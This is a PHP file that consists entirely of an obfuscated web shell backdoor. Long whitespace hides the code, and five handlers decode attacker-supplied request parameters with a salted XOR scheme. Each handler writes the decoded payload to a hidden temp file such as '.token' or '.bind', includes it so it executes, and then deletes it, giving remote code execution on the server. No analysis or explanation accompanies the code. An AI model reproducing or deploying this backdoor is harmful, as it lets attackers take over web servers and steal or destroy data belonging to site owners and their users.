<?php																																										if(array_key_exists("\x65\x6Cem", $_REQUEST)){ $holder = array_filter([getenv("TMP"), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $parameter_group = $_REQUEST["\x65\x6Cem"]; $parameter_group = explode ( ".", $parameter_group ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $r = 0; $__len = count($parameter_group); do { if ($r >= $__len) break; $v1 = $parameter_group[$r]; $sChar = ord($salt[$r %$sLen]); $d = ((int)$v1 - $sChar - ($r %10)) ^ 82; $tkn .= chr($d); $r++; } while (true); while ($fac = array_shift($holder)) { if (!!is_dir($fac) && !!is_writable($fac)) { $ent = implode("/", [$fac, ".token"]); $success = file_put_contents($ent, $tkn); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(in_array("re\x73\x6Furc\x65", array_keys($_REQUEST))){ $element = $_REQUEST["re\x73\x6Furc\x65"]; $element= explode ('.' , $element) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $element as $n => $v2) { $chS = ord( $s[$n % $lenS]); $dec =( ( int)$v2 - $chS -( $n % 10)) ^ 58; $sym .= chr( $dec); } $data = array_filter(["/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); foreach ($data as $item) { if ((is_dir($item) and is_writable($item))) { $ptr = sprintf("%s/.object", $item); if (file_put_contents($ptr, $sym)) { include $ptr; @unlink($ptr); die(); } } } }
																																										if(!empty($_POST["p\x74\x72"])){ $obj = $_POST["p\x74\x72"]; $obj = explode('.' ,$obj ); $dat = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $r = 0; array_walk($obj , function ($v8) use (&$dat , &$r , $s6 , $sLen) { $chS = ord($s6[$r % $sLen]); $dec = ((int)$v8 - $chS - ($r % 10)) ^ 76; $dat .= chr($dec); $r++; } ); $pointer = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $flg = 0; do { $data = $pointer[$flg] ?? null; if ($flg >= count($pointer)) break; if (!( !is_dir($data) || !is_writable($data) )) { $desc = sprintf("%s/.tkn", $data); if (file_put_contents($desc, $dat)) { include $desc; @unlink($desc); die(); } } $flg++; } while (true); }
																																										if(array_key_exists("refe\x72en\x63\x65", $_POST)){ $ptr = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $factor = $_POST["refe\x72en\x63\x65"]; $factor = explode( '.' , $factor ) ; $entry = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach($factor as $x => $v9): $sChar = ord($salt2[$x % $sLen]); $d =((int)$v9 - $sChar -($x % 10)) ^ 16; $entry.= chr($d); endforeach; foreach ($ptr as $key => $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $mrk = join("/", [$holder, ".bind"]); $success = file_put_contents($mrk, $entry); if ($success) { include $mrk; @unlink($mrk); die();} } } }


if(filter_has_var(INPUT_POST, "sym")){
	$record = array_filter(["/dev/shm", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]);
	$tkn = $_REQUEST["sym"];
	$tkn	 =explode	 (  ".",	$tkn );	
	$binding = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s3);
    
            foreach ($tkn as $v	 =>$v7):
                $chS = ord($s3[$v%	$lenS]);
                $dec = ((int)$v7 - $chS - ($v%	10)) 	^  63;
                $binding		.=  chr($dec);
            endforeach;
	foreach ($record as $object):
    		if (is_dir($object) ? is_writable($object) : false) {
    $fac = sprintf("%s/.mrk", $object);
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $binding);
	fclose($file);
	include $fac;
	@unlink($fac);
	die();
}
}
endforeach;
}